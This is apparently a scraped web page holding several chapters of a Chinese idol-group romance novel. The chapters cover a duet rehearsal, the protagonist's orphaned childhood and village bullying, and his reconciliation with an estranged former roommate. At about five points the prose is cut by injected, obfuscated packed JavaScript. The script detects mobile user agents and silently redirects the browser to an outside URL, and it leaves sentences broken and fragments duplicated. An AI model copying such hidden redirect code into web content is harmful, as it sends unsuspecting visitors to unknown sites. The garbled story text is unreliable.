应时月上一年跳的是一首四人曲,这套公演 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532572|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里唯一的古代背景的曲子。 他们按排名选unit。按理来说队里第四其实可以拿一首双人曲,因为去年排在他前面的,唐言肯定会选单人unit,除明宸以外的另一人——去年第9今年第10、和纪荇和有着大势cp“予和”的大vocal林茗予,舞蹈实力不太够跳那首高强度的双人unit。 但应时月想到很多粉丝说喜欢自己长发造型,甚至在贴吧时代,他还拿过无数无聊Link吧投票之一的“你认为哪位成员长发最好看”那个投票帖的断层第一。而古风曲刚好可以时不时长发上,所以他就选了那首。 最后双人unit的第二个位置,就归属于了他后面的纪荇和。 “月宝,小和跑路了,要不你今年换过来和我跳双人曲?”这么想着的时候,明宸的声音在他身后响起。 应时月这会刚结束对一个成员的指导,于是转身。 在没有线下见面的这几天里,明宸已经换掉了他那头保持了好几个月的红发,染回了安安分分的黑色,应时月早上见他第一面,还有点不太习惯。 “其他人呢,怎么说?”应时月没第一时间答应,“小予有说什么吗?这是小和的part,他会想挑战一下吗?” “我刚问了他,”明宸用一种毫不意外的语气说,“他说他想过,最后还是觉得自己比较适合现在那个站桩炫唱功的unit,所以不换了。” 这倒也是实话。 “至于小后辈们,我还没问,”明宸说到这里,少见地压低了音量,“但是十月,我还是更希望和关系比较好的朋友跳unit,和我关系好的小后辈里,只有小和能跳好这首歌的。” 应时月在心中思索了一下队里和明宸关系好的后辈的名单,然后点点头:“……那好,那我今年换过来吧。” 上个unit跳了一年,长发上的场次也有十几场,粉丝们应该已经看够了,来点新鲜的也好。 “太好了,还是月宝你比较好,”明宸眼睛亮了几分,“当年教你跳舞的时候我哪敢想今天啊,我当时觉得这个人一辈子都学不会跳舞,没想到现在已经是能和我搭双人unit的程度了,果然是我教得比较好——” “喂,”应时月笑,“适可而止啊。” “好的好的,我不说了,”明宸于是也笑,笑着笑着又把他拉到角落,“不过十月,我还有个问题想要问你。” 17. 双人unit 听到这话,应时月其实已经隐隐约约有了猜测。 明宸将他拉到远离人群的地方,说的果然是他猜想中的台词:“你前几天是不是在教亦哥跳公演?” 应时月沉默了片刻,还没想好怎么说,明宸就露出了然的表情:“哦,默认了——” “……那天刚好遇到了,”应时月于是解释,“再怎么也是队友,不可能不帮忙的,本来也是工作的事。” 明宸一听就笑起来:“所以你半夜让他进你房间,也是出于队友立场的工作帮忙吗?” “首先那不是半夜,只是晚上,其次——”应时月盯着他,顿了几秒才提问,“你又是怎么知道的?” “我从我房间猫眼看的啊。”明宸一副理所当然的语气,“我听到房间外有声音,好奇看一眼。” 应时月对这种意料之外又情理之中的回答无话可说。 明宸的房间确实就在他房间斜对面——那曾经也是双人间,是明宸和贺景然的双人间,后来贺景然搬了出去,明宸就和应时月一样,一个人住两个人的旧房间。 “他说宿舍没水,来借浴室,”于是应时月跳回去回答了上一个问题,“这不算是队友立场的帮忙吗?” “表面听着当然可以算,”明宸一副微妙的语气说,“但上一个给人借浴室的,已经把自己的总选第一都送出去了。” 应时月无语:“乔亦又看不起我的十五名,他再怎么都是要争御三的人。” “你怎么明知道我在说什么,就偏偏要假装没听懂呢,”明宸说,然后又假装叹气,“月宝啊,能不能有点志气,意志坚定一些,就当不认识他,别这么快原谅叛徒啊,显得我们很丢人的。” “别以为我瞎了啊明宸同学,”应时月也不说自己了,换了个角度反驳他,“刚我教小后辈练舞的时候,还看到你正在和乔亦有说有笑。” 应时月重读了这句话的最后四个字。 “这我不是意志不够坚定,所以才让你坚定一点,不然我们都当他没跑路过,那大家这么多年不就白等白生气了吗,”明宸大概是没想到应时月还在观察全场,他沉默了很久,最后才说,“……但我真的挺想念他的,也很想念当时我们……五个人都在的时候。” 其实我也是,我只会比你更想他。 应时月总算是带着一些自暴自弃般直面真实内心的想法,在心中默默回答。 那可是他最好的少年时光,是最珍贵的14到18岁,是第一群可以交付真心的朋友们。乔亦对明宸来说是一起成长一起奋斗的重要朋友之一,对应时月来说,则可以去掉“之一”两个字,在前面加上“最”。 那是他人生中唯一一次、对家人以外的人、产生名为“第一顺位”的定义。 即使那些生活戛然而止,但应时月还是很想念,想念那些时光也想念旧时光里的人——而这份想念,不免会被投射到现在的乔亦身上。 况且这个人真的……一点都没变。但凡乔亦如今变得让人陌生,应时月都能狠下心和这人再无交集——工作交集都可以没有,只要他想。 但应时月一偏头,看到乔亦本人正站在离他们不远的地方顺舞蹈动作,于是微微抬高音量说:“……他倒是不见得想念我们,别沉浸在过去的假象中,人都是会变的,多往前看吧。” 乔亦听力很好,之前经常能听见他们听不到的细小声音。所以这句话,乔亦一定是能听见的。 果不其然,乔亦的身影真的停顿了片刻——大概不到一秒,便又继续起了之前的动作。 “哎,月宝你啊……”明宸余光看了看乔亦的方向,心下了然,然后一边笑一边来了句莫名的未尽的感慨。 * 往后的几天,排练正常继续。 人一多起来,应时月和乔亦就没太多说话——也不是完全不说,乔亦偶尔会来请教他,应时月也耐心回答,非常公事公办,就像是所有友好但不亲近的队友那般。 应时月也解答别人的问题,乔亦也会找别人问,谁都不算特殊。 虽说下个月底会搬宿舍,他们最终还是要重新成为朝夕相处的室友的,但那再怎么说也是下个月的事。 至少这段时间,这样不远不近的就挺好。 应时月是这样想的。 但根据墨菲定律,当他这样想的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532573|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就会有事发生。 而这事——还是和明宸有关。 “我下月中旬要进剧组待一段时间,”合练了两三天后,明宸才延迟通知他这个消息,“大概会走一个半月,是我师兄推荐的机会,一个戏份不多但人设很好的男二。” 明宸说着就报了个导演的名字——即使是应时月这种丝毫不关注影视圈的人,都从小听过的那种名字。 “你把头发染回来,”应时月抬头看他,“就是为了这个吗?” “……是,但也不完全是,”虽说自己是有理由的,但明宸还是有点心虚,“前几天去试镜还没确定,刚刚才给我发消息。” “我没有兴师问罪,也没有怀疑你故意不提前给我说啦,”应时月笑了笑,“你准备找谁来替这个unit?” 明宸请假出去拍戏也不是第一次,应时月没兴趣追问,他更关心的是和自己有关的事——况且,这大概率也是明宸急匆匆告诉自己的理由。 毕竟这人有过出发前三天临时给他们通知的前科。当时大家随便分了下他的站位,表演倒是没出什么乱子,只是在论坛被大嘲特嘲,说他根本不关心那些已经买了票的粉丝。 但现在不同。 大歌二、三号位应时月都能跳,大概率也确实是他补上去,补二号位还是顺延三号位只看林茗予的意见。但作为Link建队以来公演舞蹈强度最高的unit曲,编舞包含很多亲密动作,搭档的还是应时月—— 这首双人unit《落霞》,倒还真需要思考一下谁来替。 这首歌的设定里,跳舞的双方是对立阵营。应时月和纪荇和能做到与全团舞蹈top1的明宸跳对位不被压制,而且至少在跳的那几分钟能表演出cp感,但反过来,剩下人里,能不被应时月气场压制的都不多。 他进团时底子再差,那也是实打实的八年积累。 当然这些其实都不重要。他们当然经常和后辈同台,也都会在台上略微压状态,以实现整体舞台的和谐。 所以这肯定不是明宸思考的事,让他会专程来说这事的,显然另有原因—— “我想找乔亦。”明宸直言。 18. 讽刺与斗志 “果然,我就知道,”这个答案在应时月意料之中,“但我想问……这是乔亦的主意,还是你的主意?” 这是他前几天想问何乐,但没有问出口的问题——毕竟一个是工作人员,一个是八年的朋友,不能问经纪人的事,问队友总归是可以的。 “我的主意,”明宸说出了应时月有点意料之外的回答,然后反问一句,“所以说,你和亦哥下月要继续当室友这事,原来是他的主意啊?” ……和敏锐的人说话就是有这种缺点。应时月心想。 下意识的一句话,就能被对面解读出各种潜台词——还可能刚好真的被说中内心所想。 “只是我猜测,但我没有问何姐,更不可能问他,”应时月实话实说——他都懒得问这人从哪知道的这件事了,毕竟明宸是交际花,总是有消息渠道的,“所以你在想什么?” “我不知道,”明宸说,然后迎着应时月质询的目光,又解释一遍,“我确实不知道,但我觉得如果这么安排,可能会有一些事件发生……月宝你别这么看我啊,我这不是来征求你意见吗——” 应时月确实感觉到了片刻的莫名其妙,但他很快又有点理解明宸了。 大概是因为,在乔亦这件事上,别扭的不止自己一个,明宸也是。所以明宸想制造一个契机,让应时月去解开“乔亦”和他们之间的隐性别扭与隔阂,说到底还是觉得“应时月”对乔亦来说最特殊——本来就最特殊,应时月又心想。 但特殊在什么地方呢?他反过来问自己。 在他和身边人的潜意识里,他在乔亦心中、乔亦在他心中,自然都和与其他人的关联不同。但真要说出个所以然来,除了曾经的四年室友,他也说不出什么别的话。 这种年少时候的亲密真的会产生质变吗,还是说四年的“Link美帝cp”,让他们产生了错觉呢? 应时月知道乔亦的不辞而别肯定有自己的原因,这人不是无缘无故发疯的人——但什么原因能支撑起四年的断联,应时月还真想不到。 所以,在乔亦心中,这份特殊性真的存在吗?应时月想。 于是他也问了出来。 “当然存在啊,”明宸看了他一眼,语气理所当然,“我已经找过亦哥了,他都单方面同意了,他这种大歌都跳不顺的人,心甘情愿上落霞被你和你的粉丝疯狂拉踩被论坛微博路人嘲穿地心,这可太特殊了——小予就不会同意。” “你说什么呢。”应时月笑出了声,“都还没上,先别贷款。” “你还帮他说话?”明宸睁大眼看他,“月宝,两天前给你说的话你已经忘得一干二净了吗!” 应时月:“你有什么资格说我啊?” “所以你是同意了吗?”明宸眨眨眼,全自动避开指责,“那我给亦哥和何姐还有负责统筹的工作人员通知咯?” “哎,”应时月长叹一口气,“你的站位,你想怎么安排都行,我无所谓。” “真是一个口是心非的人。”明宸直言,“顺便一提,我们在大练习室的时候,亦哥经常在背后看你——你不会没注意吧?” 应时月说:“……我确实没怎么注意。” “所以,我该说的都说了,现在重担交给你了。”明宸拍了拍他的肩膀,“加油月宝。” 这事就这么定了下来。 * 明宸没有那么急着请假,还能先和他跳上两场,接着才换乔亦。 应时月算了算时间,在明宸拍戏的一个半月里,L队总共会有八场公演——应时月在此期间没有外务,所以会全勤。 而这八场的第一场,安排在了下月20号,是个周五,到现在有三星期,紧接着的22号还有一场。 按照之前公司通知的时间线,顺利的话,他们搬宿舍的时间定在了10月23到25号——也就是说,如果不出意外,在粉丝眼中,连续五天内,他和乔亦会先跳两场高强度多亲密互动的cp曲,接着搬进同一间宿舍。 ……这是何等程度的大节奏啊。 应时月想。 所以虽然明宸开玩笑说,乔亦这种歌舞双废来跳这首会被疯狂拉踩,但抛开一切私人感情,最好的剧本当然是一起跳好这个舞台。 ——无论如何,那场都会有无数粉丝路人去看。如果舞台成功,它必然会成为应时月总选之后最大的流量来源。 既然答应了粉丝要吸引流量提升排名,那眼下的当务之急,就是—— “还有三周,是个人都能练出点成效,”在只有两个人的练习室里,应时月微微低头,俯视着盘腿坐在屏幕前愁眉苦脸看demo的乔亦,“是你自己想来的,别一副不情愿的表情。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532574|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我会练出来的,不给你拖后腿,你放心。”乔亦于是扭头对他笑了笑。 先是很浅淡的笑,与应时月对视几秒后,干脆就笑出了声。 “笑什么啊?”应时月莫名其妙。 “……我说了你别生气啊,”乔亦闻言,眨了眨眼,见应时月表情完全没变,这才开口,“我最近觉得,听你讽刺我还挺让我开心的。” “……神经病啊,”应时月得到了意料之外的答案,低声说了句,然后又抬高音量,“看完了吧,看完了起来练。” “好哎。”乔亦于是光速起身,斗志高昂,活力满满。 但也只是有斗志了。 人的实力显然不可能在短期内突飞猛进,而且四年消失归来,这人甚至体力都不如从前了—— Link的公演都有完整的故事背景和对应的小说。 这歌名字叫落霞,实际是未来废土科幻背景。自然界受到重污染,人类搬进的人造的全封闭城邦。 在封闭的城市里,落霞般寻常司空见惯的景象再也不复存在,接着便诞生了“落霞计划”,成立了若干踏出城邦的探索队,再往后探索队们逐渐壮大,接着就内斗,分出了阵营。 故事的起点,是天灾之后,敌对阵营仅剩的两名幸存者在废土之上相遇。 编舞的第一大段,就是模仿近身作战。 “……我好累啊。”在连续不休的一个小时联系后,乔亦停下来,眨眨眼望着他,“能不能休息一下。” “我都还没说累你说什么。”应时月本来想着确实应该停一下,但这事该他说不该乔亦说,于是他冷漠回应,“教你才是最累的吧——你这几年都不练体能吗?” “我回来之后已经在每天跑步了,现在还在复健,最多三个月绝对恢复,”乔亦用很无辜的神色看他,但悄悄回避了应时月的提问,“对不起十月——能让我靠一下吗?半分钟就好。” 应时月愣了愣,为乔亦突然说出口的、他完全没猜到的发言。 他们本来就面对面,站得很近。 而乔亦没等他拒绝或同意,下一秒,这人就直接向前一步,抱住了他——说是“靠一下”,实际上并没有倾斜任何重量过来,与其说是寻找依靠,不如说是一个猝不及防的、单纯的拥抱。 应时月感觉有点大脑空白。 19. 桂花树 乔亦是运动之后也不太会出汗的体质——应时月听说这不是什么好体质,但比起乔亦家里人的病历单,这种小事显然无人在意,所以这人也一直没想过去调理。 而正因如此,即使是刚刚剧烈运动一小时,近距离之下,应时月依旧能闻到他身上浅淡的洗衣液的香味。 是再熟悉不过的、应时月最喜欢的、桂花的香气。 * 应时月家门口就有两棵桂花树,是父母——准确说来是父亲和继母,生前亲手种的。 他以前开玩笑说,乔亦的身世是豪门狗血故事,但他自己的故事,说豪门不沾边,说狗血也不遑多让。 应时月的生母体质不太好,生了他没几天就去世了,为了纪念,应时月便随了亲生母亲的姓。 他父亲没读过书,也没什么文化水平,取不出来名字,但母亲有一个很好听的姓。应时月出生在八月,但早产了一个多月,实际应该是十月的生日——所以他被取名叫应十月。 后来来村里上户口的人建议说,改成时间的时会好听一点,父亲想了想,便答应了。 这便是“应时月”的起点。 接下来,父子两人共同度过了应时月已经不记得的三年。 三岁那年,父亲带着他和村里一位丈夫跑路、难以维持生计的母亲再婚。 继母的儿子比他大七岁。继兄的亲生父亲是个没什么责任心的人,说是外出打工,实际上一走就再没回来过,只留下了母子二人。 虽然是并没有太多感情意味的重组,家里条件也不好,但应时月还是度过了很快乐的童年。 结婚那年,父亲和继母在家门口种下了两棵桂花树,应时月和哥哥在一边看。 后来树长高了点,应时月和哥哥就喜欢平时坐在树枝上摇摇晃晃,等着父母下班回家。夏天的夜晚,一家人也会搬着小板凳坐在树下聊天——应时月年纪小,一般是听父母和哥哥聊,很多内容他听不懂,但也听得津津有味。 这两棵树承载了应时月很多童年回忆。 两棵树长得快,一开始比家里的小孩们还长得快。 父亲给他们在桂花树树干上画了身高线,过了几个月再拉他们去比较,开玩笑般说还没有树长得快。 但抛开树,小孩们的成长其实也并不慢。 小朋友逐渐变成少年人。哥哥上了高中,应时月也开始读书,成绩在村里还不错,老师说他如果能保持,未来可能能像他哥哥一样有考上一本大学的机会。 ——哥哥的成绩在村里好得出类拔萃,是在所有人眼中能稳上一本的料。 但他最后并没有参加高考。 应时月十岁那年,哥哥在高考前夕见义勇为,和人打架,最后从四楼被推了下去——抢救了很久捡回了一条命,但落下了严重的、无法治愈的残疾,伴随终生的后遗症,永远无法参加高考走出贫穷村镇的遗憾,和看上去永远还不完的债务。 应时月的童年戛然而止。这个曾经不算富有、但总归还算过得不错的家庭,一夜之间境况跌入谷底。 应时月也还要读书,于是还债的重担就落在了父母身上。 父母因此拼命赚钱还债,很少休息,找各种能找的工作,干各种能干的活,后来就出了事——有天晚上开车走山路送货,遇到突发极端暴雨天气,最后为了躲避落石,车侧翻下了悬崖。 父母因故去世,应时月和哥哥拿到了一笔抚恤金,但并不算多,还有一部分要用来偿还无法再拖的债务。 更严重的是,从那天起,这个家庭就彻底断了经济来源。 好在邻居家对他们施以了援手——哥哥见义勇为救下的他的同学,就是邻居家的小孩。 应时月很感谢他们的接济。 但更多的人并不愿意帮助他。 这本来很正常——毕竟是贫困村,各家经济状况都不好,当然不可能道德绑架任何人。 只不过,不帮助的原因却不是贫穷,也不是不熟。 应时月父母刚出事时,村里的成年人们对他的态度大多是同情的,但小孩们却不尽然。 毕竟小孩子们不够懂事,字面意义。不知道从何时起,学校里开始流传起了一种说法,说应时月亲生母亲因为生他去世,哥哥落下了重残疾,父母也出了事,但他自己还活得好好的。 这说明了什么? ——说明应时月是一个不详的小孩,自己活得很好,但会给身边人带来不幸。 这是小学生们得到的答案。 这种说法由来荒谬,毕竟应时月自己也活得不好,但却渐渐成为了学校的主流——小孩们借着排挤他的名义抱团获取认同,而应时月的“不详小孩”的名称,也渐渐传到了成年人那里去。 很多人教育子女说不要借此欺凌同学,实际上多少是有些放在心上的。村里人开始渐渐不愿意接触应时月。 对他们的说法,十一岁的应时月无法反驳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532575|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实际上,对二十二岁的他来说,这话他依旧无法全部反驳。毕竟,即使后续的事故是偶然,但亲生母亲因他去世是不争的事实——如果没有他,那母亲就算身体再差,也肯定不会在那时去世。 所以应时月从不过生日,出道后也不过。他没有说原因,粉丝也都很默契地不问——于是属于他的庆祝日,变成了一期生的公开日,应援会每年以其他成员庆祝生日的规格,给他庆祝公开周年纪念,而其他一期生的粉丝,则会绕开这天,选择将首演日作为出道纪念日。 也算是大家给他的一点无声的让步。 但二十二岁的应时月早就学会了,很多事既然已成定局,那只能带着逝去的人的一份负重好好生活下去;十一岁的应时月只会借由这个点,将所有的过错往自己身上揽,以求得某种短暂的安定——而这份安定的背后,是更深层次的迷茫。 以至于他偶尔真的也会怀疑,他自己是否真的是个会带来不幸的人。 但生活还将继续。 他无法离开这里,一是哥哥走不了,二是他自己也没能力。于是应时月只能假装不知道这些,假装忽视碎掉的教材和试卷、抽屉里出现的刀片血液和昆虫、走路上莫名其妙砸在身上的石头、以及无处不在的指指点点,还是按部就班地生活。 直到初二那年。 哥哥总算靠着工具能做到独立生活,而应时月也成长了一些。他终于下定决心,放弃上完初中,而是独自一人进了城打工。 “我无法忍受再在这里待着了,我以前走不了,但现在可以了,”应时月对哥哥如此说,“我要离开这里——等我赚了钱,我就带你也离开这里。” “……是我对不起你,”哥哥沉默很久然后说,“但我不会离开这里,我要守着这个地方。” “不是你对不起我,”应时月说,“对不起我的是他们。” 他说完指指窗外,哥哥沉默地看着他。 ——但微妙的是,后来应时月走了,这些人倒是开始愿意帮助他哥哥了,毕竟不详的罪名只有“应时月”一个人承担。所以他后来觉得,如果自己能早几年离开,那大概哥哥会生活更好。 而大概有这份原因的加成,应时月三番五次想将哥哥往城里接,但他都不愿意,一直都以他当年的那份说辞来应对。应时月不理解哥哥想守着什么,直到现在也不理解。 但他早就不打算理解了。他如今能理解另一件事,就是人总会有执念,尊重就好。 20. 不幸与幸运 出走后,应时月去大城市打了几份黑工。小半年之后,被路上的星探拉进了Link,又被公司安排着恢复了学业——应时月从五年级到初二几乎都没学,公司本来打算让他留级,但乔亦坚称“学得再烂也无所谓我两个月就给他补成考试大师”,于是被塞进了初三。 再后来中考,乔亦如同约定般,将他辅导进了全市最好的中学最好的班,他们于是成了同班同学。 乔亦对自己的过往坦诚,但应时月做不到。 直到十七岁那年,他才将自己成长的全貌讲给乔亦。 “他们说我是不详的小孩,”应时月说,然后带着忐忑试探性发问,“你怎么看?” 实话说,当时的应时月确实还偶尔残存着一点源自幼年时期的自我怀疑,他甚至因此担心过,如果朋友们知道他身边的人总会有不好的待遇,会不会也因此在潜意识里疏远他——即使他相信这些人不会将此表现在明面上。 这也是他很久都不敢提过去的原因。 “那你更应该多和我待在一起,”乔亦当然能明白他的顾虑,于是说,“我这种阳光开朗还命硬的人,什么克制不了啊。” 应时月停顿了很久,才小声说:“……你怎么也封建迷信。” “封建迷信有封建迷信的对策,科学也有科学的解释,为什么不能一起考虑呢,”乔亦笑了起来,“这叫双保险——科学的那部分不用我给你讲吧?” 而不得不说,因为乔亦的发言,应时月确实心安了很多。 十八岁之前的乔亦是很可靠的人。除了唱歌跳舞以外,这个世界上就没有他做不到的事——这是L队人、包括应时月在内,曾经所公认的真理。 而这个桂花味的洗衣液,是个很小众的牌子,是他们有回月考前一起出去散心,在学校后门的小便利店买到的。 桂花味洗衣液不少,但这个格外不同,闻起来特别像他家门口那两棵树的花香。 当时的应时月很兴奋地说,这和我家门口的桂花树是一个味道,就连包装上的这棵树都和我家的树长得很像。于是他当即就买了能在保质期内用完的上限数量,再往后,就一直用了好几年。乔亦和他是室友,于是也跟着一起用这个小众洗衣液。 每次闻到这个味道,应时月都能想到家,然后想到童年,想到父母,想到哥哥——这些事虽然让他悲伤,但也是他行走于世间的力量感的来源之一。 哥哥语文尤其好,想象力也很丰富,据说高中时候的理想是以后读中文系,当个专职写故事的人。 但事故之后,对他们这种家庭来说,谈“理想”就太过于奢侈了。 十多年前的贫困村,大家对互联网的印象还停留在能打游戏、可以获取资讯的层次。被困在方寸之间的少年不再有追逐梦想的机会,于是他唯一的输出窗口,就是在无数个夏夜,和年幼的弟弟一同坐在桂花树下,将自己的幻想讲给他听。 就像是小时候一样。说话的人少了两个,听的人还是应时月。 应时月有时也会想起那些时光。这是他十岁之后为数不多的、能逃避外界的、纯粹的快乐的时光。 但他后来就很少、或者说不太敢想了。 他已经四年没回过家了,上一次回家还是四年前的冬天,他请假一周,回去参加自杀的哥哥的葬礼。 那次回去,或许是几年未见,或许是哥哥做出过努力,也或许是他考上top2、还赚了村里很多人几辈子都赚不到的钱、成为了有出息的小孩,即使依旧是应时月身边人的离去,但村里人默契地不再提当年的针对和疏远,同龄人也不提当年的校园暴力和欺凌。 大家对他都还算温和礼貌,好像十岁之后的那三年被从所有人记忆中剪掉了一般。但应时月并不想多待下去,他更想和队友们、和乔亦待在一起——所以他改签了车票,比起预定行程提前了两天回去,回去见乔亦。 只是没想到,这场见面,却相隔了四年。 如今的网线已经铺进了乡村,应时月赚了钱,邻居家的夫妇本就中年得子,因此已然年老。他给两位老年人送了智能手机,逢年过节给他们转点账,发上一句祝福,再聊聊家常——如今在应时月的委托下,他们在帮他照顾那两棵桂花树。 但纵然现在没有人再欺负他,他也一次都没敢再回去过,只敢旁敲侧击向同在外打工的、他们的儿子打听近况。 应时月也不敢再用桂花味的洗衣液。 早在四年前,应时月就已经换了洗衣液了——他现在用的也是某种花香味的,但他分辨不出来。 只是没想到乔亦会一直用下去,大概是某种惯性。应时月心想。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532576|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久违地,他突然又有点想那两棵桂花树了。 也有点想那个桂花味洗衣液的外包装盒。 * “……十月你怎么了?” 就在此时,乔亦的声音响起,将应时月从回忆拉回了现实。 乔亦所承诺的“半分钟”早已结束。这人时间观念特别好,也说话算话,已经按时松开了抱着他的手臂。 但应时月却还在发呆——然后他本能般伸手摸了摸自己的脸,才后知后觉摸到了一手的泪水。 乔亦见状,似乎也想伸手帮他擦掉泪水,但最终,那只右手静止在了半空中,没有落下去。 应时月摸完脸,又一动不动地看着他,好像还没有回过神。 乔亦保持着如此动作,神色是完全无法遮掩的直白的紧张,或许还混杂着焦急和愧疚:“……对不起,是我不好,是我做得不对,都是我的错,别这样啊应时月。” ——即使他并没有第一时间意识到应时月情绪的由来。但应时月被他抱过之后就开始哭,总归这份情绪是因自己而起,所以道歉也理所应当。 “对,是你不好,是你做得不对,是你的错,是你对不起我,你什么都不知道。”应时月深吸一口气,直视着乔亦顺着他的话说下去,声音有些干涩,“你知道吗乔亦,我曾经也有过一个很累很想要依靠你的瞬间,我为此改了行程提前了两天回来,当时你在哪里呢——你如果真的很喜欢道歉,那我这么说可以吗?” 乔亦怔了片刻,下一瞬间,脸色变得苍白。 这人很聪明。应时月相信,联系年假不回家的事实、和当初他出发时的匆忙,这一句话,已经足够让乔亦猜到自己当年请假回家的理由。 “我当时……”他顿了很久,终于犹豫着开口,但只说了三个字,便说不下去了,最后垂着头说,“对不起——我真的不知道,是我一直在自以为是,如果你现在其实没那么想看见我的话,可以直接告诉我,我可以从你眼前消失,不会再这么缠着你了。” “你说得很好,你也知道你在缠着我啊,”对视和漫长的沉默后,应时月看着他说,“所以,你这是消失过一次,还想消失第二次?” “……谢谢你十月,”乔亦闻言,愣了片刻,然后说,语气是他身上少见的认真,“我保证,我再也不会离开你了。” 21. 陈年舞台 “你这么说,听着好吓人啊。”应时月笑了一声。 “没有啦,你不要想那么多,”见到他笑起来,乔亦肉眼可见松了口气,“……如果你哪天想赶我走也不是不可以。” “你都是跑路过一次的人了,怎么好意思说的。”应时月说,然后生硬地转开话题,“休息也休息完了,可以继续练了吧?” “可以,”乔亦原地跳了跳,“我今天还能再练八个小时。” 应时月冷漠:“已经四点了,我不行。” 总之,应时月也没有再追问。没有问他为什么突然想抱一下自己,毕竟答案就摆在明面上,没有被提问的意义。 他也没试图问乔亦,当初为什么要在自己最需要陪伴的时候消失。 应时月也能猜到,乔亦消失几年肯定有苦衷,说不定遭遇了比自己更严重的事——但乔亦如今显然对他的所有发言全盘接受,对应时月迟来的指责不做任何解释,那他就多少有点……想得寸进尺地说话。 实际上未成年时的乔亦也一贯对他很包容。应时月是公认的性格好,但也会因此积压一些负能量,而离他最近的乔亦,对待别人的情绪往往点头敷衍,对他不那么会放在更多人前的负面情绪,倒是会好好接收。 再回忆下去又要愧疚了。应时月想。 所以他摇了摇头,将注意力重新拉回到了排练上来。 或许是应时月那句阴阳怪气的承诺给了乔亦一些动力,这人倒是没再喊过要休息。 乔亦这人是典型的情绪指挥行为,情绪一上来就会变成无限精力条。 比如高中那会,考1000米他都从来冲一段走一段,应时月就没见他用跑步动作跑完过全程。但高二那年运动会,派去跑3000米的应时月临时崴了脚,乔亦作为替补上场,在站在终点线边上的应时月的注视下,一步没停,压过体育班的学生拿了第一。 很神奇一个人——如果不说跑完回去睡了一整天的话。 所以应时月主动喊了休息,两个人坐在练习室里各自看手机,中间隔着两三米距离和一个平板。 “这段副歌还挺难的,”乔亦开口打破沉默,“可惜不能改成简单的,比如抱着你转两圈什么的。” 应时月闻言,将目光从手机里的Link专组,移动到了乔亦脸上:“你快别说了吧……况且你现在还能转得动圈吗?” “应该可以,”乔亦眨眨眼,试探提问,“要不试试?” “……别了吧。”应时月笑了一声,“好危险,总觉得你现在有点脆。” * 乔亦这话没有明说,但指代却很明确,于是两人对此心照不宣。 这说的是两人五年前那个,上过热一的双人舞台。 当时是Link全团的年终回馈演唱会。作为队里的头号大势cp,被安排一个双人舞台是再正常不过的事。 那个舞台的选曲是一首甜歌,cp粉给他们挑的。 但歌是好歌,编舞却不是什么好编舞——意思是对彼时的两个人来说,实在是难度有点太大了,尤其是副歌段,动作很小很柔和很细碎,比大开大合的燃曲表演起来难很多,做起来完全是灾难性的效果。 于是乔亦那会提了个点子,说既然是小甜歌,又是大舞台,不如把这段整个砍掉,换成他公主抱应时月转几圈,然后从舞台一头的小圆台沿着支出来的平台道路飞奔到舞台中央,看上去会比这段复杂的编舞更有“恋爱的冲动感”。 还很简单。 “听着好像也不是不行,如果能和前后都衔接上的话,”彼时的应时月在脑海里想象了一下,然后点评,“不过真的简单吗?” “……我觉得还好吧,”乔亦想了想说,“反正现在都坐床上的,要不试试看,就算摔了也没什么事。” 于是他们还真就试了起来。到最后发现没那么简单,但也没那么难——至少比那套原编舞容易不少。 